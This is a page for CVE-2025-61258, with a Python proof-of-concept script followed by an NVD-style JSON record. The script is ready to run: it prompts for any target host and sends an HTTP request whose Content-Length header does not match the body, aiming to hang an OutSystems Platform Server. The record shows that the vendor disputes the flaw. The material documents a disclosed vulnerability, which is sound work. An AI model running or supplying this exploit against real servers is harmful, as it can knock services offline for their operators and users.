CVE-2025-61258

import socket import time def exploit_cve_2025_61258(target_host, target_port=80): """ CVE-2025-61258 PoC - Outsystems Platform Server DoS This PoC demonstrates the Content-Length mismatch vulnerability """ # Craft HTTP request with mismatched Content-Length payload = "POST / HTTP/1.1\r\n" payload += "Host: " + target_host + "\r\n" payload += "Content-Length: 999999\r\n" # Large value payload += "\r\n" payload += "test" # Only 4 bytes sent print(f"[*] Sending malicious request to {target_host}:{target_port}") print(f"[*] Content-Length header: 999999, Actual body: 4 bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(payload.encode()) # Wait and check if server responds time.sleep(2) sock.send(b"X\r\n\r\n") # Send more data to trigger timeout print("[+] Request sent successfully") print("[*] Server may hang or timeout waiting for remaining data") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = input("Enter target host: ") exploit_cve_2025_61258(target)

{"cve": {"id": "CVE-2025-61258", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:56.230", "lastModified": "2025-12-24T16:15:48.360", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Outsystems Platform Server 11.18.1.37828 allows attackers to cause a denial of service via a crafted content-length value mismatching the body length. NOTE: the Supplier indicates that they are unable to reproduce this."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:outsystems:platform_server:11.18.1.37828:*:*:*:*:*:*:*", "matchCriteriaId": "2821260D-F1B0-4EC0-9CA2-21FEA104C3BF"}]}]}], "references": [{"url": "https://balwurk.com/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://balwurk.github.io/CVE-2025-61258/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.outsystems.com/", "source": "[email protected]", "tags": ["Product"]}]}}